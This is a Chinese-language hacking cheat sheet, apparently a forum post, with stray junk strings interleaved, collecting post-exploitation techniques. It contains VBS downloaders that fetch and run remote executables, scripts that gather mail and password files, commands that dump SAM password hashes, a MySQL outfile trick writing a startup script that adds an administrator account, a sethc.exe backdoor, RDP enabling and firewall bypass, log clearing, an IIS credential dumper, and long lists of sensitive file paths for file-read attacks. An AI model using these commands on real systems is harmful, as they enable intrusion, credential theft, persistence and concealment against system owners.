alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
3 X7 x" p1 Z% A% @{
注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
3 a8 r; g! k1 _. e那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  

提权先执行systeminfo
token 漏洞补丁号 KB956572
! E9 c3 s( _1 \9 N; i/ D0 o! G* dChurrasco          kb952004
命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
2 ]5 n- O4 _8 h" H$ m* z; H: U——————————————
2、收集系统信息的脚本  
for window：

  R( v4 S; ~; q@echo off
echo #########system info collection
systeminfo
ver
- n6 ?: k0 E8 v2 t; e! Ehostname
net user
net localgroup
) O; p2 w7 [; T( f2 n  R; T2 `net localgroup administrators
  O4 N. K; T  z0 @net user guest
; r8 S# s: I2 q9 m" tnet user administrator
5 ?) m! ^6 T/ p+ U( ?( R
echo #######at- with   atq#####
echo schtask /query

6 L& @9 B! e! C% l0 kecho
echo ####task-list#############
tasklist /svc
3 ^7 P  v6 q2 S; t) p- Q6 Hecho
echo ####net-work infomation
$ @- m0 o" C* I& Wipconfig/all
route print
arp -a
netstat -anipconfig /displaydns
echo
+ ]5 y; o7 v) Q* ~  hecho #######service############
: o# P% S* I" {6 l* K2 Q3 D/ vsc query type= service state= all
8 E$ R" Z( I1 F; U0 N( {) g' }echo #######file-##############
0 d% d8 c5 j7 I" M7 t/ ?0 ^. ocd \
tree -F
for linux：

#!/bin/bash

echo #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
5 i5 B" m/ L! s% P" D* h, iecho #######basic infomation##
& i- }' C8 `, Ccat /proc/meminfo
! o1 Z& ?& |8 O; Mecho
" U6 l0 b# N- w/ ?cat /proc/cpuinfo
/ {- p& F3 I) P9 q  Gecho
: \* @# c6 ~7 Erpm -qa 2>/dev/null
6 D$ ?9 U. t6 S######stole the mail......######
  Q' Z! D3 i0 k$ Rcp -a /var/mail /tmp/getmail 2>/dev/null

1 D8 r4 n* F# O# `4 u2 g/ ~, e, z
; [3 `5 m7 `. g0 becho 'u'r id is' `id`
echo ###atq&crontab#####
atq
crontab -l
+ V5 b# F, p. A% u1 L% N+ w; necho #####about var#####
set
* P& h; E: I$ ^9 X8 \" C4 ?
" ~0 r& \2 y0 z" y9 {2 zecho #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
cat /etc/hosts
# D4 s3 c, k2 s4 p- Phostname
* q) {: H3 D$ x) |9 [ipconfig -a
arp -v
echo ########user####
cat /etc/passwd|grep -i sh

& k2 ?! F: w% Q' ]echo ######service####
  \) P. R' U0 L- Ochkconfig --list
% J1 |  k6 _5 [+ m
! R/ _; W# \8 A0 ?9 qfor i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
3 Z$ l* _. I, p. k  X: Idone
# X0 H5 T% z7 \) h) ~
locate passwd >/tmp/password 2>/dev/null
sleep 5
7 _: [: n3 ~' z6 @* @% llocate password >>/tmp/password 2>/dev/null
sleep 5
/ Q! u( i3 o0 ilocate conf >/tmp/sysconfig 2>dev/null
  i: }% X7 b: t8 _0 [! K% {sleep 5
locate config >>/tmp/sysconfig 2>/dev/null
sleep 5

###maybe can use "tree /"###
; c; V% w/ K+ M! {echo ##packing up#########
2 C! `4 x3 b2 O* ytar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
4 D* }. M# m+ W! }8 k1 c——————————————
3、ethash 不免杀怎么获取本机hash。
# S: [7 |7 n( I+ T首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
9 f) m- r2 |% c: A接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
5 \  p8 O, `( Y2 Z" s, {' Thash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
4、vbs 下载者
1
- F! @; K4 f, r3 B) Iecho Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
$ f  z* E- O# a( b' I! q( eecho sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs

% [8 L$ s: t+ ], c, d2
& W& F8 L/ K1 D  k. ^On Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
. H/ v; n: _" T, O8 i4 rs1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
$ k& H* c; Z2 Z' Q, c4 f# t( h# t: bSet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
& {8 E* C- O( T; v1 i
cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

9 D5 L# N4 ]* Q9 V" i) Z( M当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
——————————————————
$ X4 V* k* v- ~( w* y# s# r! }* |& S' A5、
) k3 e3 c3 U0 [& B! P" g1.查询终端端口
# [2 Y2 D5 C8 Q9 g2 _* g$ RREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
7 y3 W: t5 v3 K+ \9 B; a* B2.开启XP&2003终端服务
3 a5 n: b  o9 R& `# n0 n1 ?! iREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
7 K/ e$ {* ]# i3 g3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
  n" z+ d' w7 @) w7 L) a9 |" K8 f————————————————
6、create table a (cmd text);
" ?3 r! J3 S; p) kinsert into a values ("set wshshell=createobject (""wscript.shell"")");
0 i9 u1 j% Z* Y# R5 n4 u- D$ `insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
& v& i  b% P3 q' a' _' I5 P6 }insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
' b9 i, J+ i6 @$ K  x/ u& R3 o1 h————————————————————
7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
$ z, f! V8 X# f; Z/ D_____
2 a$ [- d" }9 j8 O& W8、for /d %i in (d:\freehost\*) do @echo %i

列出d的所有目录
6 l# E0 J5 w$ M# o: t& k: l  
# w+ ^: j" c4 \) l( @8 K% {- x  v  for /d %i in (???) do @echo %i

3 h, Q; b( E) L  F. u8 \" o把当前路径下文件夹的名字只有1-3个字母的打出来

- X) f. R3 A  }- N% I2.for /r %i in (*.exe) do @echo %i
; m* ]6 T% O1 [: b2 n: W- J# r  
3 p' X5 B5 m' a( J  q3 L以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
  p( e6 {  u. Q# K/ b
. Y4 ?/ G+ j" w9 H3.for /f %i in (c:\1.txt) do echo %i
  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
/ n# j8 t* W* K$ m8 Q7 O+ r
  delims=后的空格是分隔符 tokens是取第几个位置
) S" r5 g4 X# O$ @2 }: v: K' ?——————————
●注册表:
: j' Z/ m9 W: q% t: Z1.Administrator注册表备份:
7 u! t- c+ j6 i2 t& t0 ]reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
' K/ x$ u( V" h% M! X2 T+ M. _; G+ u
2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.
5 o0 J; }4 f5 a. E: d. l
: D, q  T. o$ E. F& y3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
* V2 {! }% j( x. T+ O
- V6 L, c( G. \# ?6 \4 {8 x4.Radmin密码:
2 W* K2 x/ c0 K+ _1 [& n; Vreg export HKLM\SYSTEM\RAdmin c:\a.reg
2 f* p6 `' W% o3 q/ j) [
5.禁用TCP/IP端口筛选(需重启):
5 F6 e( |9 Q) [4 t' n6 O( qREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
, |* s3 X$ I' s* ~& X
6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
1 L' [% l/ M+ n( y$ Gnetsh ipsec dynamic set config ipsecexempt value=0

7.停止指派策略"myipsec":
4 n+ Z1 u8 m8 I2 c% H; _1 Y& @1 m" tnetsh ipsec static set policy name="myipsec" assign=n

8.系统口令恢复LM加密:
  |. n3 g! D: ^, x6 e2 G; M7 Greg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

9.另类方法抓系统密码HASH
! \( ^, D4 x% f9 N# s4 Y+ dreg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive

- n) O! G. u" I$ ]9 r9 g7 N/ M' J10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
2 }! j6 r) @6 J1 a8 f" ?-----------------------------------
2 v% t- P% k: ?- X" ~; ]星外vbs(注：测试通过，好东西）
% h% g! W! I: h, q: C! lSet ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
4 T9 U% U4 H" _$ v1 Oset IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
exit for
msgbox("error!")
wscript.quit
end if
* {. r$ L5 y" g# D6 S3 Fserverbindings=IIS.serverBindings
ServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
2 z# Z$ n6 j* a7 Cuser=iisweb.AnonymousUserName
- `! V0 N; o! n) h4 Ppass=iisweb.AnonymousUserPass
path=IIsWeb.path
2 {# p$ R+ q6 `list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
! m: N( Z  u3 l  w$ T6 wend if
) x2 z% Z5 z/ V1 p1 d) mNext
+ _/ R- l. ^3 K, N# i( L; cwscript.echo list
. v8 W/ i5 h& B' t+ iSet ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
% x( ?) [& i1 R" T1 XWScript.Quit
) A, ^" }8 _3 ^9 ^! D, O4 n9 Q1 w复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
7 @, ^  a9 _  p, I; F1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
, V" b7 a- r" r" C( {, g0 x将folder.htt文件，加入以下代码：
4 M' f! m- r0 {, p<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
复制代码
& }  c# ]7 n0 v& C: c然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
/ |- z" d2 J' A5 v& c6 z5 Easp代码，利用的时候会出现登录问题
1 O: ]  l5 f5 j- x 原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
1 E  X; e2 b0 J8 p( e0 f7 I url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马
7 F8 a9 X  V/ R9 ^. Z$ v
7 X' ~* m! Y' i( [7 [- s* h==============================================================
( b  d" @+ _. `) D' |$ nLINUX常见路径：
/ Z5 o# v' }( V
8 J3 U" `. c1 ~5 N) c/etc/passwd
) b  z; O% e! e/ P/ y# a" c( x/etc/shadow
/etc/fstab
/etc/host.conf
/etc/motd
3 p0 Y1 f0 V1 p6 ]4 j/etc/ld.so.conf
! K- p& P$ v+ Z$ z3 V) d/var/www/htdocs/index.php
/var/www/conf/httpd.conf
" H  y/ i! n) g3 i' v, Y, [/var/www/htdocs/index.html
- @- X* M0 m/ i% V* m6 r/var/httpd/conf/php.ini
6 R1 W% G; H! c* k: |2 u3 J! C) V/var/httpd/htdocs/index.php
& @0 y, e2 t. [8 O/var/httpd/conf/httpd.conf
: j$ L! Z! A3 g, ^5 }9 `/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
/var/www/index.html
/var/www/index.php
5 [' f# N; Q7 }5 g2 }& ?' g/ E/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
0 ^" [' M9 X. @5 A# U' q1 m& B/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
7 K- i. {& a* d$ G/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
4 p9 D, a; s( T  E+ `, Z# u/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
9 o; [1 O" b- c) \6 H7 J/www/php/php.ini
0 t- [, u) H% S/www/php4/php.ini
) r( O. p* T# F$ V0 |9 y/www/php5/php.ini
/www/conf/httpd.conf
/www/htdocs/index.php
/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
) ~& s$ v" D6 }1 r5 M" p/apache/apache/conf/httpd.conf
! L1 [8 h0 ~. E1 N4 I3 J/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
/etc/apache2/apache.conf
6 K4 v* d0 P% |% n% G/etc/apache/httpd.conf
/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
# O. Z* {" A# F; s  k0 L" E/etc/phpmyadmin/config.inc.php
4 l: K) l" H. ~% |/etc/mysql/my.cnf
& m/ r# a& q2 E/etc/httpd/conf.d/php.conf
5 p2 e' X' Y% F5 ^/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
" e) K& W4 J/ s' d# ^/etc/httpd/logs/error.log
6 V+ W# i6 o$ u' I# H0 o  M/etc/httpd/logs/access_log
$ N# ~$ L/ x9 e( l. x6 x/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
, W( X+ a# J/ w, i4 J) v6 F/home/apache2/conf/httpd.conf
9 n# S* |  q( K  A& Y& q8 k8 ?/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
1 X3 [  \' `9 Q) L# [/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
7 Y$ K3 i* O! f# |7 B9 |2 H, b0 p# C/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
6 P# h5 r/ X, e' t6 K, N$ r/usr/local/apache/logs/error.log
+ ]8 t5 ^& M) X4 ]! i- V/usr/local/apache/logs/access_log
( J9 V- G, X1 B3 N/usr/local/apache/logs/access.log
# Y$ e7 h$ v) F* K* v8 F( y" @/var/log/error_log
6 D5 Z, ]5 N5 W4 U' h/var/log/error.log
6 D. Q) P" ]! Y/var/log/access_log
/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
/bin/php.ini
2 c# L- ~9 l3 }" i& `% _; P' k/etc/init.d/httpd
3 \) x  \, N# K- }8 O$ X. S- h1 U/etc/init.d/mysql
/etc/httpd/php.ini
/usr/lib/php.ini
  {! s7 \/ j  Z; e' ~% H/usr/lib/php/php.ini
. E1 h; |: L+ b2 c* E1 f/usr/local/etc/php.ini
4 f( O/ r5 q2 m6 d7 d/usr/local/lib/php.ini
6 r4 e+ m( k" a/usr/local/php/lib/php.ini
7 d& R+ X% a- L% Y: s/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
1 ?5 O+ |% U1 }0 ?# ]4 W/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
9 n: D  ]2 U9 `/usr/local/apache/conf/httpd.conf
  t7 w* F; t8 O, V( R/usr/local/apache2/conf/httpd.conf
! L8 G: A; R0 [# s/ z/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
% K  h! O- {& G/etc/php4/apache/php.ini
3 m8 }9 ~" i/ a- Y; `  R! R/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
' R& s1 ?: E- x3 ]# ?/etc/php/php.ini
/etc/php/php4/php.ini
/etc/php/apache/php.ini
: J9 N" g6 T& P3 d/etc/php/apache2/php.ini
/web/conf/php.ini
/usr/local/Zend/etc/php.ini
0 s/ E5 e5 D( m* \- b5 K/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
/ {8 z& W0 M0 b/etc/php5/cgi/php.ini
/php5/php.ini
/php4/php.ini
) H; D. h/ W: C# f. N2 W/php/php.ini
/PHP/php.ini
: _3 X, h5 w& j5 S  X/ j. J, ]% V7 d) N/apache/php/php.ini
/xampp/apache/bin/php.ini
' c( a6 U5 Q& C( X- m6 D: T/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
; R1 J9 f) g- z5 L" K" T% M/home/bin/stable/apache/php.ini
1 _2 v9 d; G* C+ i' Y' ?/var/log/mysql/mysql-bin.log
- F0 Q+ b, M$ N3 _  k! n( I/var/log/mysql.log
' A6 E9 G/ U7 R, F% g/var/log/mysqlderror.log
) g; h! S1 Y( C# C5 [% M1 J/var/log/mysql/mysql.log
( ?6 ?5 I$ I/ U9 y0 p/var/log/mysql/mysql-slow.log
/var/mysql.log
8 ~1 j/ y  {6 c9 ~: j) q3 C/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
) u2 F4 J# D& F5 |* p- |/etc/mysql/my.cnf
3 w/ B0 B, U4 M( o: I/etc/my.cnf
. M+ s" Y; X- K% {8 \/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
) q* f4 A- ?" \, L" ~/usr/local/cpanel/logs/license_log
, V/ g7 J. ~; }9 F# H/ E1 w+ h2 y- Z/usr/local/cpanel/logs/login_log
8 b, O* U  W) K/ o/usr/local/cpanel/logs/stats_log
* U: U0 J5 ~- E* k5 |- x/usr/local/share/examples/php4/php.ini
$ J# p+ ~/ v3 B+ [$ N/usr/local/share/examples/php/php.ini

2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

c:\windows\php.ini
  [5 S1 k0 Q: ic:\boot.ini
' A$ K" _  v6 T7 ~c:\1.txt
c:\a.txt

/ e& S2 q7 m7 @! p; c; T4 o' ?c:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
" E; z+ `: [( j8 O% U$ {0 {C:\WINDOWS\FreeHost32.dll
  C# @$ Z% j& @8 uC:\WINDOWS\7i24iislog4.exe
% U$ k3 i3 K# OC:\WINDOWS\7i24tool.exe
# s& C& h7 L& K7 H8 g6 Q
$ i; R3 o# a7 Z3 h' C6 rc:\hzhost\databases\url.asp

3 B0 I+ Y# d& U: nc:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

( d5 P; t; E9 rC:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
8 k0 x7 C! ~' i# s  m6 [* g2 C  XC:\WINDOWS\web.config
c:\web\index.html
c:\www\index.html
c:\WWWROOT\index.html
$ b, l3 m1 m( s. e5 F/ a5 b, Hc:\website\index.html
c:\web\index.asp
5 q8 U) p$ L7 ]4 i  D" Ac:\www\index.asp
c:\wwwsite\index.asp
c:\WWWROOT\index.asp
, f) d; o+ U3 y- Lc:\web\index.php
, s0 e3 Z. w2 Q" U+ B/ b5 D9 R7 h' ec:\www\index.php
c:\WWWROOT\index.php
  d4 D* H% }, {. [0 j1 ec:\WWWsite\index.php
) V* S  z* C( U# Zc:\web\default.html
2 b! c$ A' V3 t7 Gc:\www\default.html
: T# o: e& e; q1 O6 |, mc:\WWWROOT\default.html
  @. k" v; }7 i& j- tc:\website\default.html
, J/ A( y1 F# j( c7 [9 Uc:\web\default.asp
c:\www\default.asp
5 _; Q$ v% K( j) H5 ?9 B2 Tc:\wwwsite\default.asp
& g. H4 u' H8 @- S! t  G' ic:\WWWROOT\default.asp
& p  u2 [, T5 z3 C! u& ?5 xc:\web\default.php
c:\www\default.php
c:\WWWROOT\default.php
- m* G" }- T% \( ?c:\WWWsite\default.php
2 ^: f$ e/ j' M6 U  r. i- wC:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
7 L6 u2 |) t& Q0 S8 Cc:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
3 g7 e! i9 u7 UC:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
7 y- C8 g, x) }( f' rC:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
9 h4 `: s8 F* `* g6 k# qC:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
, k/ a! u3 e/ K  gC:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
c:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
C:\Documents and Settings\All Users\Start Menu\desktop.ini
, T2 w! \4 e/ R  SC:\Documents and Settings\Administrator\My Documents\Default.rdp
+ O" R8 {7 P. ]! V+ F% f$ P- RC:\Documents and Settings\Administrator\Cookies\index.dat
0 E; e; z# M; ~9 K* Z' bC:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
% c: ^( U5 v( U$ j! {7 iC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
* }6 F: T% H9 @C:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
" l9 k# X/ O' a. `4 V% F* \6 q- _9 iC:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
. D9 N& f( T9 P/ M& ?, mE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
' F9 E  ]% a$ _3 X8 u7 i$ g+ r9 m9 \C:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
1 H5 T1 V7 l5 i. A# wC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
. s! e$ d% o+ t& m; D+ LC:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
5 L! ^8 S8 v; Y9 c/ q- yC:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
* a* l% q) s% h" i# nC:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
& Z, L! W0 j) U0 Sc:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
C:\WINDOWS\system32\inetsrv\w3wp.exe
2 ]- c  c9 R7 a4 B% v# R! qC:\WINDOWS\system32\inetsrv\inetinfo.exe
9 y7 _, p$ F' k0 I1 D. ^) ~) lC:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
* O5 P" A/ j) o$ ]7 |4 u7 t. Nc:\tomcat6\bin\version.sh
2 U# {! M6 N. T3 w+ {9 [* ~c:\tomcat\bin\version.sh
/ l2 S4 _& k; }$ ac:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
, ?: R4 _. b3 W. I. b3 w  A, L+ \c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
5 f/ G: W: U) b7 H" a; Kc:\Apache2\Apache2\bin\Apache.exe
" K9 ^) y! B8 q/ p: P" D  S. jc:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
/ Z9 q# p; V$ w* F$ I, G& N* q; h/usr/local/tomcat5527/bin/version.sh
/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
+ H* f& _. G6 \8 H6 @, Kc:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
4 @2 j6 t. {& L- _c:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
# p2 m, T4 C) r2 S. |& D  jC:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
" U% Y. A- q$ @# M+ nC:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
! c# `7 }7 ]) o! FC:\Program Files\LeapFTP 3.0\LeapFTP.exe
1 g2 O6 r3 I* p( j, RC:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
7 X( O% O6 O" q; ]9 _2 jc:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
; B' L6 Z+ P$ a9 {  ^# W, T# xC:\Program Files\FlashFXP\flashfxp.exe
